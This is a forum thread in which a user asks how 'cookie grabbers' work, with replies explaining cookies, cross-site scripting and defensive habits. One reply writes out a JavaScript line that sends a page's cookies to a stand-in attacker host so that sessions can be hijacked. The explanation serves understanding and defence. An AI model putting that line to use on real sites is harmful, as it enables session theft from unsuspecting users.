Cookie Grabber

[Zombihunter]

I have found this site to be very helpful in the past and hoping the people on here can help me out with a few questions since people here seem more knowlegable about these type of things than I probably every will.

To begin I am not looking for coding for one of these (cookie grabbers). I am just looking for some information about them. I have tried looking these things up on the internet, but keep getting sent to Neopets PetPages or places that just post the coding. I am looking for more detailed info about these things for two reasons. 1. to better protect my information from them and 2. basic curiosity of how things work.

Can someone explain exactly what these things can and cannot do? I know in basic it takes a copy of cookies from your computer and stores them else where, where the person using the cookie grabber, then can retrieve your personal information (account name, passwords, etc).

I would like to know things more specific like: Do you specify a specific website(s) that you want the cookies from or will it take them all? Does the CG have to be on the same domain as the cookie it's wanting to 'steal'? Do browsers like Firefox, IE, Safari, Opera protect from these being 'stolen', if so how other than constantly cleaning out your cookie? And what type of coding can these be written in (PHP, Java, CSS, etc)?

You don't have to go into technical jargon to explain just basic lame man's terms will work.

If anyone can answer this it would be much appricated. Any information or even links to places I can find the information would be great.

I have read through the rules and I am pretty sure this isn't breaking any since I am just asking for this thing being described and not requesting the code for one.

[jscheuer1]

I don't know much about this myself but, this article:

http://pcworld.about.com/magazine/2002p043id73828.htm

seems to imply what I suspected, that IE is the only vulnerable browser or at least the most vulnerable browser but that other MS software, if left unpatched, can also be vulnerable.

I would think if you regularly use live update or have automatic updates turned on and functioning properly, that this isn't much of a concern.

However, I would recommend to anyone concerned about this and the myriad other types of security risks associated with MS software, to avoid using these products as much as possible by using different software for anything that opens you to the web.

[boogyman]

okay first of all... a cookie is a reference of a reference if done properly. There are many different ways of implementing a cookie, however they are usually done in a way that they are being processed in multiple ways. First the cookie is placed onto the computer from the website. it is then stored onto the computer for a certain length of time... if the programmer did not specify the length of time the default is the "session" or the length that you currently have that browser window open... Now the browser is supposed to check its "cookie jar" periodically and delete any expired cookies but that is getting off track.
After a cookie is placed onto a persons computer it can then be accessed and read by other programs if the program means to. The processing and security within the cookie is usually very minimal so programs that are purposefully attempting to read cookies will usually find that its pretty simple, for that reason a GOOD programmer will not rely on the built in security of the cookie and when they write the cookie they will not assign the actual physical details of what they are trying to store, but rather a reference number (id #) usually of where it can be found on the server. Yes, there are ways around this extra step, but if someone could get to this point, there really isnt much you are going to be able to do anyway besides block all content.

On that note, it is possible to prevent a cookie being written to your system without prompting you, or there is a setting that will only allow 3rd party cookies to be written on with a confirmation... As for protecting your computer, I wouldnt fully suggest that you disable your cookie allowance, however I would just monitor where you give out your sensitive information, and I have even gone as far as emailing the administrators of a website to ask them how cookies were stored and what security measures were put into place.


I hope everythign works out for the best and feel free to continue to ask questions if anything I said didnt make sense

[Twey]

Do you mean local programs that do this, or something on a website?

If the latter, what you're talking about is cross-site scripting (XSS). In an XSS attack, a malicious user inserts some Javascript into an innocent web page, which then has access to the cookies stored for that domain. This Javascript then transfers the cookie data to the malicious user's server. The simplest way to do this would be:

window.location.href = 'http://www.malloryssite.com/cookiestealer.php?' + document.cookie;

That PHP script could then store the cookies (which would likely contain some session identification) somewhere, or even use them automatically to hijack the user's currently-running session on the targetted website and thus take control of his/her account.

[boogyman]

Yes, Twey, that is what I was refering to, however Zomb was asking about how to help him better understand the workings of cookies and that is what I was trying to do... If you need anything else zomb let us know

[Twey]

Zomb was asking about how to help him better understand the workings of cookies

No, s/he was asking about the workings of "cookie grabbers," a vague term that could apply to a program, script or even a person. The question:

Does the CG have to be on the same domain as the cookie it's wanting to 'steal'?

lead me to believe that XSS was what was being discussed here.

Do browsers like Firefox, IE, Safari, Opera protect from these being 'stolen', if so how other than constantly cleaning out your cookie?

No, browsers cannot protect you from XSS attacks. The responsibility is that of the site from which the page vulnerable to script insertion was served.

And what type of coding can these be written in (PHP, Java, CSS, etc)?

The server-side part can be written in almost any language. The client-side can be written in anything the browser will execute that can access cookies, including but not limited to Javascript, VBScript, Java, and Flash. Javascript is the most common by far, however, since almost all browsers support it and it is the easiest to inject, as it requires no external files.

[djr33]

I have two domains, and would like cookies to be available for both. Is there any way I could use this to my advantage?
sorta off topic and going the opposite direction, but related...

[Twey]

No, that's a completely different situation

The user would have to be logged in to both domains and on a page on each, as well as having JS enabled.

[blm126]

or use an iframe to force them to be on both domains. Not reliable though as would require some javascript

[jscheuer1]

I'd like to take this opportunity to bring this topic back into focus from my perspective for the OP:

1 ) Apparently all browsers are vulnerable to XSS cookie grabbing. Choose wisely those sites that you set up secure accounts with.

2 ) Equally apparent is that in unpatched editions of MS software, there are additional threats from direct assaults on your cookies. Protect yourself from these by using alternative software or ensuring that you always have the latest updates for your MS software.

3 ) There are vulnerabilities inherent in MS software other than direct cookie theft. It is a little like the little Dutch boy with his finger in the dike, only the dike is crumbling all around him. This isn't entirely MS's fault. It is mostly just that their software is the most widely used, and therefore also the most widely hacked. Most notable exception, Active X. This is a security nightmare of MS's own doing.

I would add to this:

4 ) Be on guard for phishing scams. Never use the link in an email that appears to be from a trusted site to update or give out any personal information. Always log on to the site itself using its known address before entering any passwords or updating or confirming information. Often if you carefully check the site address in such emails, it will become apparent that it isn't the site that the email claims to be from, simply a similar looking address.